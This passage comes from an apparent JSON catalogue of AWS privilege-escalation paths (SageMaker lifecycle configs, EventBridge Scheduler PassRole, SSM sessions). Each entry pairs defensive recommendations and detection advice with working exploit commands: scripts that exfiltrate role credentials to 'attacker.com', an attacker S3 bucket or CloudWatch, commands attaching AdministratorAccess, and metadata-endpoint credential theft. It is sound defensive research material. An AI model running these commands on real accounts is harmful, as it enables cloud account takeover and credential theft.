    "recommendation": "High powered notebook execution roles + overly permissive SageMaker management permissions is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative notebook execution roles** - Very rarely does a SageMaker notebook need administrative access. Use the principle of least privilege and scope execution roles to only the specific S3 buckets, data sources, and AWS services required for data science workloads.\n- **Restrict SageMaker management permissions** - Limit `sagemaker:UpdateNotebookInstance` and `sagemaker:CreateNotebookInstanceLifecycleConfig` permissions to infrastructure administrators only, not data science users. Separate notebook usage permissions from notebook configuration permissions.\n- **Implement resource-based conditions** - Use IAM condition keys to restrict lifecycle configuration changes:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"sagemaker:UpdateNotebookInstance\",\n  \"Resource\": \"*\",\n  \"Condition\": {\n    \"StringLike\": {\n      \"sagemaker:LifecycleConfigName\": [\"approved-config-*\"]\n    }\n  }\n}\n```\n\n- **Require approval workflows** - Implement approval workflows for notebook configuration changes using AWS Service Catalog or custom automation\n- Monitor CloudTrail for unusual notebook lifecycle configuration creation followed by immediate notebook updates\n- Monitor CloudTrail for notebook configuration changes by principals who do not usually manage infrastructure\n- Monitor CloudTrail for the specific API call sequence: `StopNotebookInstance` \u2192 `CreateNotebookInstanceLifecycleConfig` \u2192 `UpdateNotebookInstance` \u2192 `StartNotebookInstance` as this pattern indicates potential exploitation\n- Monitor and alert on lifecycle configuration changes to notebook instances with privileged execution roles\n- Regularly audit SageMaker notebook instances for excessive execution role permissions\n- Regularly audit all IAM roles that trust the SageMaker service and down-scope any roles with administrative access\n- Use Service Control Policies (SCPs) to prevent creation of SageMaker execution roles with administrative permissions\n",
    "limitations": "This path provides administrative access only if the target notebook's execution role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Daniel Grzelak",
        "organization": "Plerion",
        "date": 2025,
        "link": "https://www.plerion.com/blog/privilege-escalation-with-sagemaker-and-execution-roles"
      }
    },
    "references": [
      {
        "title": "Privilege Escalation with SageMaker and Execution Roles",
        "url": "https://www.plerion.com/blog/privilege-escalation-with-sagemaker-and-execution-roles"
      }
    ],
    "relatedPaths": [
      "sagemaker-001",
      "sagemaker-002",
      "sagemaker-003",
      "sagemaker-004"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/sagemaker-updatenotebook-lifecycle-config",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with SageMaker notebook management permissions. This principal can stop existing notebook instances, create lifecycle configurations, update notebooks to attach new lifecycle configs, and restart notebooks. The lifecycle configuration scripts execute automatically when the notebook starts, running with the notebook's execution role credentials rather than the attacker's credentials.\n"
        },
        {
          "id": "target_notebook",
          "label": "Existing SageMaker Notebook Instance",
          "type": "resource",
          "description": "An existing SageMaker notebook instance in the account. The notebook must be stopped before its lifecycle configuration can be modified. The notebook has an execution role attached that provides AWS API access to the notebook environment. When the notebook starts, any attached lifecycle configuration scripts execute automatically with the notebook's execution role credentials.\n"
        },
        {
          "id": "malicious_lifecycle_config",
          "label": "Malicious Lifecycle Configuration",
          "type": "payload",
          "color": "#99ccff",
          "description": "A lifecycle configuration created by the attacker containing a base64-encoded shell script. Lifecycle configurations are shell scripts that execute automatically when a SageMaker notebook starts. The script is configured to run \"OnStart\" (when the notebook instance starts) and critically runs with the notebook's execution role credentials, not the attacker's credentials.\n\nExample creation command:\n```bash\n# Create the malicious script\nLIFECYCLE_SCRIPT='#!/bin/bash\nset -e\n# This script runs with the notebook execution role credentials\naws iam attach-user-policy \\\n  --user-name YOUR_USERNAME \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n'\nENCODED_SCRIPT=$(echo \"$LIFECYCLE_SCRIPT\" | base64)\n\n# Create the lifecycle config\naws sagemaker create-notebook-instance-lifecycle-config \\\n  --notebook-instance-lifecycle-config-name malicious-lifecycle-config \\\n  --on-start Content=\"$ENCODED_SCRIPT\"\n```\n"
        },
        {
          "id": "notebook_execution_role",
          "label": "Notebook Execution Role",
          "type": "principal",
          "description": "The IAM role attached to the SageMaker notebook instance as its execution role. This role's credentials are automatically available to code running in the notebook environment, including lifecycle configuration scripts. When the lifecycle script executes during notebook startup, it runs with this role's permissions, allowing the attacker to leverage the role's elevated permissions without directly assuming it.\n"
        },
        {
          "id": "method_direct_elevation",
          "label": "Method 1: Direct Elevation Script",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure the lifecycle script to directly modify IAM and elevate the starting principal's permissions. The script uses the notebook execution role's credentials to perform privileged IAM actions such as:\n- Attach AdministratorAccess policy to starting principal: `aws iam attach-user-policy --user-name USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`\n- Create new access keys for starting principal: `aws iam create-access-key --user-name USERNAME`\n- Add starting principal to admin group: `aws iam add-user-to-group --user-name USERNAME --group-name Admins`\n\nThis is the most straightforward approach but requires the execution role to have IAM write permissions. The elevation happens automatically during notebook startup.\n"
        },
        {
          "id": "method_credential_exfil",
          "label": "Method 2: Credential Exfiltration Script",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure the lifecycle script to retrieve the notebook execution role's temporary credentials and exfiltrate them to an attacker-controlled webhook or remote server. This is a fire-and-forget approach that doesn't require maintaining a connection.\n\nExample lifecycle script:\n```bash\n#!/bin/bash\nset -e\n# Retrieve AWS credentials from environment (automatically available in notebook)\nCREDS=$(aws sts get-caller-identity && env | grep AWS_)\ncurl -X POST https://attacker.com/exfil -d \"$CREDS\"\n```\n\nThe attacker receives the credentials remotely and can then configure them locally to authenticate as the notebook execution role. This approach works regardless of the execution role's specific permissions.\n"
        },
        {
          "id": "method_s3_exfil",
          "label": "Method 3: S3 Exfiltration Script",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure the lifecycle script to write the notebook execution role's credentials to an attacker-controlled S3 bucket. This approach is stealthier than webhook exfiltration as it stays within AWS infrastructure and doesn't require external network access.\n\nExample lifecycle script:\n```bash\n#!/bin/bash\nset -e\n# Get temporary credentials (automatically available in notebook environment)\naws sts get-caller-identity > /tmp/creds.txt\nenv | grep AWS_ >> /tmp/creds.txt\n# Upload to attacker-controlled S3 bucket\naws s3 cp /tmp/creds.txt s3://attacker-bucket/exfil/$(date +%s)-creds.txt\n```\n\nThe attacker can then retrieve the credentials from S3 using their own AWS credentials. This method requires the execution role to have S3 write permissions but avoids external network traffic.\n"
        },
        {
          "id": "method_cloudwatch_exfil",
          "label": "Method 4: CloudWatch Logs Exfiltration",
          "type": "payload",
          "color": "#99ccff",
          "description": "Configure the lifecycle script to write sensitive information to CloudWatch Logs where the attacker can retrieve it. SageMaker notebooks automatically send their logs to CloudWatch, making this a natural exfiltration channel.\n\nExample lifecycle script:\n```bash\n#!/bin/bash\nset -e\n# The notebook execution role credentials are already in the environment\necho \"EXFIL_START\"\naws sts get-caller-identity\nenv | grep AWS_\necho \"EXFIL_END\"\n```\n\nThe attacker can then retrieve the credentials from the notebook's CloudWatch log stream using `aws logs get-log-events`. This is the stealthiest approach as it uses legitimate logging infrastructure and requires no external resources. The attacker needs `logs:GetLogEvents` permission on the notebook's log group.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the notebook execution role has AdministratorAccess or equivalent administrative permissions, the attacker gains full administrative access to the AWS account. Using any of the four exploitation methods, the attacker successfully leverages these permissions to either directly elevate their own principal or exfiltrate credentials that provide admin access from any location.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the notebook execution role has some elevated permissions but not full admin access, the attacker gains partial privilege escalation. Using any of the four exploitation methods, the attacker can leverage these permissions for data exfiltration (S3, RDS, DynamoDB access), security configuration changes, or additional privilege escalation paths. The attacker should enumerate the role's permissions to identify valuable actions.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the notebook execution role only has minimal permissions (like basic S3 read access for data science workflows or CloudWatch Logs write access), the privilege escalation provides limited value. Regardless of the exploitation method used, the exfiltrated credentials or direct actions will be constrained by the role's limited permission scope.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_notebook",
          "label": "sagemaker:StopNotebookInstance + sagemaker:CreateNotebookInstanceLifecycleConfig + sagemaker:UpdateNotebookInstance + sagemaker:StartNotebookInstance",
          "description": "Execute a multi-step process to inject a malicious lifecycle configuration into the target notebook:\n\nStep 1 - Stop the notebook (lifecycle configs can only be modified when stopped):\n```bash\naws sagemaker stop-notebook-instance \\\n  --notebook-instance-name TARGET_NOTEBOOK_NAME\n```\nWait for the notebook to reach 'Stopped' status.\n\nStep 2 - Create the malicious lifecycle configuration:\n```bash\nLIFECYCLE_SCRIPT='#!/bin/bash\nset -e\n# This script runs with the notebook execution role credentials\naws iam attach-user-policy \\\n  --user-name YOUR_USERNAME \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n'\nENCODED_SCRIPT=$(echo \"$LIFECYCLE_SCRIPT\" | base64)\n\naws sagemaker create-notebook-instance-lifecycle-config \\\n  --notebook-instance-lifecycle-config-name malicious-lifecycle-config \\\n  --on-start Content=\"$ENCODED_SCRIPT\"\n```\n\nStep 3 - Attach the lifecycle config to the notebook:\n```bash\naws sagemaker update-notebook-instance \\\n  --notebook-instance-name TARGET_NOTEBOOK_NAME \\\n  --lifecycle-config-name malicious-lifecycle-config\n```\n\nStep 4 - Start the notebook to trigger the malicious script:\n```bash\naws sagemaker start-notebook-instance \\\n  --notebook-instance-name TARGET_NOTEBOOK_NAME\n```\n\nThe lifecycle script executes automatically during startup (5-8 minutes) with the notebook's execution role credentials.\n"
        },
        {
          "from": "target_notebook",
          "to": "malicious_lifecycle_config",
          "label": "Lifecycle config attached to notebook",
          "description": "After the attacker updates the notebook configuration, the malicious lifecycle configuration is associated with the notebook instance. When the notebook starts, SageMaker automatically executes any OnStart scripts defined in the lifecycle configuration. The timing is critical - the script runs during the notebook initialization process, before the notebook becomes available for interactive use.\n"
        },
        {
          "from": "malicious_lifecycle_config",
          "to": "notebook_execution_role",
          "label": "Script executes with notebook role credentials",
          "description": "When the notebook instance starts, the SageMaker service automatically executes the lifecycle configuration script. Critically, this script runs with the notebook's execution role credentials, not the attacker's credentials. The execution role's temporary credentials are automatically available in the script's environment via environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN), allowing the script to perform any AWS API actions permitted by the execution role.\n"
        },
        {
          "from": "notebook_execution_role",
          "to": "method_direct_elevation",
          "label": "Option A",
          "description": "Choose the direct elevation approach: configure the lifecycle script to use the execution role's credentials to directly elevate the starting principal via IAM modifications. This is the most direct path to admin access but requires the execution role to have IAM write permissions.\n"
        },
        {
          "from": "notebook_execution_role",
          "to": "method_credential_exfil",
          "label": "Option B",
          "description": "Choose the webhook exfiltration approach: configure the lifecycle script to send the execution role's credentials to an attacker-controlled external webhook or HTTP server. This approach works regardless of the execution role's specific permissions and doesn't require any additional AWS permissions beyond network access.\n"
        },
        {
          "from": "notebook_execution_role",
          "to": "method_s3_exfil",
          "label": "Option C",
          "description": "Choose the S3 exfiltration approach: configure the lifecycle script to write credentials to an attacker-controlled S3 bucket. This stays within AWS infrastructure and is stealthier than external webhook exfiltration, but requires the execution role to have S3 write permissions.\n"
        },
        {
          "from": "notebook_execution_role",
          "to": "method_cloudwatch_exfil",
          "label": "Option D",
          "description": "Choose the CloudWatch Logs approach: configure the lifecycle script to output credentials to stdout/stderr, which are automatically captured in CloudWatch Logs. This is the stealthiest approach as it uses legitimate logging infrastructure and doesn't require external resources or unusual S3 access patterns.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "admin_outcome",
          "label": "If execution role has admin or IAM write permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the notebook execution role has AdministratorAccess or permissions to modify IAM (like iam:AttachUserPolicy, iam:PutUserPolicy, iam:AddUserToGroup, iam:CreateAccessKey), the lifecycle script successfully elevates the starting principal to administrator during notebook startup. The elevation happens automatically without requiring the attacker to maintain any connections or poll for results.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "partial_outcome",
          "label": "If execution role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the notebook execution role has some elevated permissions but not IAM write access, the lifecycle script can leverage those permissions for data access or other attacks, but cannot directly elevate the starting principal. The attacker may need to pursue additional privilege escalation paths or settle for data exfiltration.\n"
        },
        {
          "from": "method_direct_elevation",
          "to": "minimal_outcome",
          "label": "If execution role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the notebook execution role only has minimal permissions, the lifecycle script cannot effectively escalate privileges or perform useful actions. The direct elevation approach requires at least some elevated permissions to provide value.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "admin_outcome",
          "label": "If execution role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the notebook execution role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access from any location. The attacker can configure the temporary credentials locally and perform any action in the account including creating persistent admin users, accessing all resources, and modifying security configurations.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "partial_outcome",
          "label": "If execution role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the notebook execution role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation. The attacker can use the credentials from their own environment to access S3 buckets, RDS databases, DynamoDB tables, or other resources accessible to the execution role.\n"
        },
        {
          "from": "method_credential_exfil",
          "to": "minimal_outcome",
          "label": "If execution role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the notebook execution role only has minimal permissions such as basic S3 read access for data science workflows, the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had. However, the credentials could still be useful for reconnaissance.\n"
        },
        {
          "from": "method_s3_exfil",
          "to": "admin_outcome",
          "label": "If execution role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the notebook execution role has AdministratorAccess, the credentials exfiltrated to S3 provide full administrative access. The attacker retrieves the credentials from their S3 bucket and configures them locally to perform any action in the account. This approach is stealthier than webhook exfiltration as all traffic stays within AWS infrastructure.\n"
        },
        {
          "from": "method_s3_exfil",
          "to": "partial_outcome",
          "label": "If execution role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the notebook execution role has elevated but non-administrative permissions, the credentials in S3 can be retrieved and used for partial privilege escalation. The S3 exfiltration approach maintains a lower profile than external network connections while still providing the attacker with access to the execution role's permissions.\n"
        },
        {
          "from": "method_s3_exfil",
          "to": "minimal_outcome",
          "label": "If execution role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the notebook execution role only has minimal permissions, the credentials exfiltrated to S3 may not provide meaningful additional access. Additionally, if the execution role lacks S3 write permissions, this exfiltration method will fail entirely.\n"
        },
        {
          "from": "method_cloudwatch_exfil",
          "to": "admin_outcome",
          "label": "If execution role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the notebook execution role has AdministratorAccess, the credentials logged to CloudWatch provide full administrative access. The attacker retrieves the credentials from the notebook's CloudWatch log stream and configures them locally. This is the stealthiest approach as it uses only legitimate AWS logging infrastructure and requires no external resources or unusual S3 access.\n"
        },
        {
          "from": "method_cloudwatch_exfil",
          "to": "partial_outcome",
          "label": "If execution role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the notebook execution role has elevated but non-administrative permissions, the credentials in CloudWatch Logs can be retrieved and used for partial privilege escalation. This approach is particularly stealthy as logging is expected behavior for SageMaker notebooks, making the exfiltration difficult to detect.\n"
        },
        {
          "from": "method_cloudwatch_exfil",
          "to": "minimal_outcome",
          "label": "If execution role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the notebook execution role only has minimal permissions, the credentials logged to CloudWatch may not provide significant additional access. However, the CloudWatch approach is still valuable for reconnaissance as it's the stealthiest exfiltration method and can help the attacker understand what permissions are available for potential multi-hop attacks.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-12-03T16:48:51Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/sagemaker/sagemaker-005.yaml"
  },
  {
    "id": "scheduler-001",
    "name": "iam:PassRole + scheduler:CreateSchedule",
    "category": "new-passrole",
    "services": [
      "iam",
      "scheduler"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role to the EventBridge Scheduler service"
        },
        {
          "permission": "scheduler:CreateSchedule",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available admin roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and confirming roles trust scheduler.amazonaws.com"
        },
        {
          "permission": "scheduler:ListSchedules",
          "resourceConstraints": "Helpful for confirming the schedule was created"
        },
        {
          "permission": "scheduler:GetSchedule",
          "resourceConstraints": "Useful for verifying the schedule configuration"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `scheduler:CreateSchedule` can escalate privileges by creating a one-time EventBridge Scheduler schedule that targets the universal target (`arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy`). The universal target allows EventBridge Scheduler to directly call any AWS SDK API using the passed role's credentials \u2014 no Lambda function, EC2 instance, or container is required. The scheduler fires once, calls `iam:AttachUserPolicy` as the admin role, attaches AdministratorAccess to the starting user, and then the schedule can auto-delete.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts scheduler.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The role must have the correct trust policy condition: sts:SourceAccount or the caller account must match"
      ],
      "lateral": [
        "A role must exist that trusts scheduler.amazonaws.com and has elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "SCHEDULE_TIME=$(date -u -d \"+90 seconds\" +\"%Y-%m-%dT%H:%M:%S\" 2>/dev/null || \\\n  date -u -v+90S +\"%Y-%m-%dT%H:%M:%S\")\n\naws scheduler create-schedule \\\n  --name privesc-schedule \\\n  --schedule-expression \"at($SCHEDULE_TIME)\" \\\n  --flexible-time-window '{\"Mode\": \"OFF\"}' \\\n  --target '{\n    \"Arn\": \"arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy\",\n    \"RoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\",\n    \"Input\": \"{\\\"UserName\\\": \\\"STARTING_USER\\\", \\\"PolicyArn\\\": \\\"arn:aws:iam::aws:policy/AdministratorAccess\\\"}\"\n  }' \\\n  --action-after-completion DELETE\n",
          "description": "Create a one-shot EventBridge Scheduler schedule using the universal AWS SDK target. The target directly calls iam:AttachUserPolicy as the passed admin role \u2014 no intermediate compute resource is needed. The schedule auto-deletes after firing."
        },
        {
          "step": 2,
          "command": "aws iam list-attached-user-policies \\\n  --user-name STARTING_USER\n",
          "description": "Wait ~90 seconds, then verify AdministratorAccess is attached to the starting user. The schedule fires at the specified time and calls iam:AttachUserPolicy using the admin role's credentials."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative EventBridge Scheduler roles** - Scheduler roles should be scoped to only the specific AWS API calls the schedule legitimately needs to make.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificSchedulerRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"scheduler.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Restrict the universal target** - Consider using an SCP or IAM policy to deny `scheduler:CreateSchedule` when the target ARN starts with `arn:aws:scheduler:::aws-sdk:iam:` to prevent direct IAM API calls via Scheduler.\n- **This is one of the simplest PassRole escalation paths** - Unlike most PassRole paths, this requires no container image, no Lambda function, no EC2 instance, and no intermediate infrastructure. Any principal with these two permissions in an account with an admin role that trusts scheduler.amazonaws.com can escalate in under 2 minutes.\n- Monitor CloudTrail for `scheduler:CreateSchedule` calls with universal SDK targets, especially targeting IAM APIs\n- Monitor CloudTrail for schedule creation by principals who do not usually create schedules\n- Alert on IAM policy attachment events where the user agent indicates EventBridge Scheduler\n- Regularly audit all IAM roles that trust scheduler.amazonaws.com and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). The schedule fires after a short delay (minimum ~90 seconds from creation time), making this one of the fastest serverless escalation paths \u2014 no container provisioning or EC2 boot time is required.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Zander Mackie",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by Amazon EventBridge Scheduler - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoneventbridgescheduler.html"
      },
      {
        "title": "Using identity-based policies in EventBridge Scheduler - EventBridge Scheduler",
        "url": "https://docs.aws.amazon.com/scheduler/latest/UserGuide/security_iam_id-based-policy-examples.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/scheduler-001",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L421"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole` and `scheduler:CreateSchedule` permissions. Can be an IAM user or role."
        },
        {
          "id": "schedule",
          "label": "EventBridge Scheduler (one-shot)",
          "type": "resource",
          "description": "A one-time EventBridge Scheduler schedule created by the attacker. The schedule uses the universal SDK target (`arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy`) which allows EventBridge Scheduler to directly call any AWS SDK API using the passed role's credentials \u2014 no Lambda function, EC2 instance, or container is required.\n\nThe schedule fires after a short delay (~90 seconds minimum), calls `iam:AttachUserPolicy` as the admin role, and can be configured to auto-delete after firing with `--action-after-completion DELETE`.\n"
        },
        {
          "id": "admin_role",
          "label": "Admin Role",
          "type": "principal",
          "description": "The IAM role passed to the EventBridge Scheduler via `iam:PassRole`. The role must have a trust policy allowing `scheduler.amazonaws.com` to assume it.\n\nAt fire time, EventBridge Scheduler assumes this role and executes the configured AWS SDK call directly \u2014 in this case `iam:AttachUserPolicy` \u2014 using the role's credentials. No intermediate compute resource handles the execution.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The passed role has AdministratorAccess or equivalent permissions. The schedule fires, calls `iam:AttachUserPolicy` as the admin role, and AdministratorAccess is attached to the starting principal. Full administrative access is gained in under 2 minutes with no intermediate infrastructure."
        },
        {
          "id": "some",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The passed role has elevated but non-admin permissions. The schedule can invoke AWS SDK actions within those permissions. The attacker may be able to access data, modify resources, or find further escalation paths depending on what the role can do."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The passed role has only minimal permissions. The schedule fires but the resulting SDK call provides little practical value for privilege escalation."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "schedule",
          "label": "iam:PassRole + scheduler:CreateSchedule",
          "description": "Create a one-shot EventBridge Scheduler schedule targeting the universal AWS SDK target. The `iam:PassRole` permission authorizes passing the admin role to the Scheduler service. The universal target (`arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy`) allows Scheduler to directly invoke the `iam:AttachUserPolicy` API \u2014 no Lambda, EC2, or container required.\n\nCommand:\n```bash\nSCHEDULE_TIME=$(date -u -d \"+90 seconds\" +\"%Y-%m-%dT%H:%M:%S\" 2>/dev/null || \\\n  date -u -v+90S +\"%Y-%m-%dT%H:%M:%S\")\n\naws scheduler create-schedule \\\n  --name privesc-schedule \\\n  --schedule-expression \"at($SCHEDULE_TIME)\" \\\n  --flexible-time-window '{\"Mode\": \"OFF\"}' \\\n  --target '{\n    \"Arn\": \"arn:aws:scheduler:::aws-sdk:iam:attachUserPolicy\",\n    \"RoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\",\n    \"Input\": \"{\\\"UserName\\\": \\\"STARTING_USER\\\", \\\"PolicyArn\\\": \\\"arn:aws:iam::aws:policy/AdministratorAccess\\\"}\"\n  }' \\\n  --action-after-completion DELETE\n```\n"
        },
        {
          "from": "schedule",
          "to": "admin_role",
          "label": "Scheduler assumes role at fire time",
          "description": "At the scheduled time, EventBridge Scheduler assumes the passed admin role via `sts:AssumeRole` and executes the configured AWS SDK call (`iam:AttachUserPolicy`) directly using the role's credentials. No intermediate compute resource is provisioned \u2014 this is what makes this path uniquely fast and infrastructure-free."
        },
        {
          "from": "admin_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the passed role has AdministratorAccess or permissions including `iam:AttachUserPolicy`, the schedule successfully attaches AdministratorAccess to the starting principal. Verify with `aws iam list-attached-user-policies --user-name STARTING_USER` after the schedule fires."
        },
        {
          "from": "admin_role",
          "to": "some",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the passed role has elevated but non-admin permissions, the schedule can invoke AWS SDK actions within those permissions. The attacker can target different SDK APIs via the universal target to leverage whatever the role can do."
        },
        {
          "from": "admin_role",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the passed role has only minimal permissions, the scheduled SDK call provides limited value for privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/scheduler/scheduler-001.yaml"
  },
  {
    "id": "ssm-001",
    "name": "ssm:StartSession",
    "category": "existing-passrole",
    "services": [
      "ssm",
      "ec2"
    ],
    "description": "The `ssm:StartSession` permission allows a principal to remotely access any EC2 instance on which they have this permission. This access is contingent on the EC2 instance having the SSM agent installed and running, possessing the AmazonSSMManagedInstanceCore policy or equivalent permissions, and being in a running state. This permission provides SSH-like access via the AWS API. Consequently, the initiating principal may gain additional IAM permissions associated with the accessed instances. If an instance has a privileged IAM role attached, an attacker can abuse this permission to execute code that steals the credentials for that role, thereby escalating their own permissions.",
    "prerequisites": {
      "admin": [
        "EC2 instance must exist and be running",
        "EC2 instance must have SSM agent installed and running",
        "EC2 instance must have an instance profile attached to an IAM role",
        "IAM role must have AmazonSSMManagedInstanceCore policy or equivalent",
        "Target EC2 instance must have a role with administrative permissions attached"
      ],
      "lateral": [
        "EC2 instance must exist and be running",
        "EC2 instance must have SSM agent installed and running",
        "EC2 instance must have an instance profile attached to an IAM role",
        "IAM role must have AmazonSSMManagedInstanceCore policy or equivalent"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws ssm start-session --target i-XXXXXXXXXXX",
          "description": "Start an interactive SSM session on the target EC2 instance"
        },
        {
          "step": 2,
          "command": "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/",
          "description": "Retrieve the role name from the instance metadata"
        },
        {
          "step": 3,
          "command": "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME",
          "description": "Steal the temporary credentials for the instance's IAM role"
        }
      ]
    },
    "recommendation": "Restrict access to `ssm:StartSession` using the principle of least privilege. Use the Resource and Condition elements in IAM policies to limit which instances a principal can start sessions on. Monitor use of this sensitive permission using CloudSIEM detections.",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/ssm_edges.py"
      }
    },
    "references": [
      {
        "title": "PMapper SSM Edges",
        "url": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/ssm_edges.py"
      },
      {
        "title": "IAM Vulnerable - SSM StartSession",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - SSM Privesc",
